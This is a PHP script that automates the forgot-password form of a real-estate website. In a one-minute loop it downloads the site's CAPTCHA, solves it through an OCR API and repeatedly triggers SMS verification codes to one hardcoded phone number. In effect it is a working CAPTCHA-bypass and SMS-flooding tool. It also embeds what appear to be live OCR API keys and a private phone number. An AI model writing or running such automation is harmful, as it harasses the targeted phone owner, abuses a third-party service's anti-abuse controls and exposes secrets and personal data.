<?php
/**
 * Created by Benjiemin
 * Date: 2020/3/4
 * Time: 16:23
 */

require ('./vendor/autoload.php');
use QL\QueryList;

require ('./aip-php-sdk-2.2.15/AipOcr.php');
 $baseUrl = 'http://my.xmhouse.com/';
    $header = [
        'timeout' => 30,
        'headers' => [
            'Referer' => $baseUrl,
            'Pragma' => 'no-cache',
            'Cache-Control' => 'no-cache',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36',
            'Accept' => '*/*',
            'Accept-Encoding' => 'gzip, deflate',
            'Upgrade-Insecure-Requests' => '1',
            'Origin' => $baseUrl,
            'Connection' => 'keep-alive'
        ]
    ];


$time = time();
$i = 0;
while ((time()-$time)<60){
    //进入网页
    $jar = new \GuzzleHttp\Cookie\CookieJar;
    $client = new GuzzleHttp\Client(['cookies' => true]);

    $ql = $client->request('GET', $baseUrl.'forgot-password.aspx', [
        'cookies' => $jar
    ]);

    if($ql->getStatusCode()!=200){
        echo '网站状态不正常';die;
    }

    $imgUrl = $baseUrl.'valicode.aspx????????????';
    //下载验证码到本地
    $ql = $client->request('GET', $imgUrl);
    $imgname = 'code.gif';
    file_put_contents($imgname,$ql->getBody(), true);
    //转换gif 为jpg
    $input= $imgname;
    $output='code.jpg'   ;
    $image=imagecreatefromgif($input);
    imagejpeg($image,$output);
    imagedestroy($image);
    unlink($input);

    //验证码识别
    $appId = '9360309';
    $apiKey = 'f94FyaKX2LKx0GWBoddFVpxa';
    $secretKey = 'oGhM9QqHH6qslErF1LH8etP6Ber5adDz';
    $apiOcrModel = new AipOcr($appId, $apiKey, $secretKey);
    $verifyRet = $apiOcrModel->basicGeneral(file_get_contents($output));

    if(!isset($verifyRet['words_result'][0]['words'])){
        echo '识别失败'.PHP_EOL;
        var_dump($verifyRet);
        sleep(1);
        continue;
    }

    $verify = $verifyRet['words_result'][0]['words'];
    //登录
    $ql = $client->request('POST',$baseUrl.'forgot-password.aspx',[
        'form_params'=>[
            'code' => $verify,
            'tel' => 17095921320,
            'type'=>'sendcode',
        ]
    ]);
    file_put_contents(time().'.html',$ql->getBody());
    $i = $i+1;
    echo $i.PHP_EOL;
    sleep(1);
}




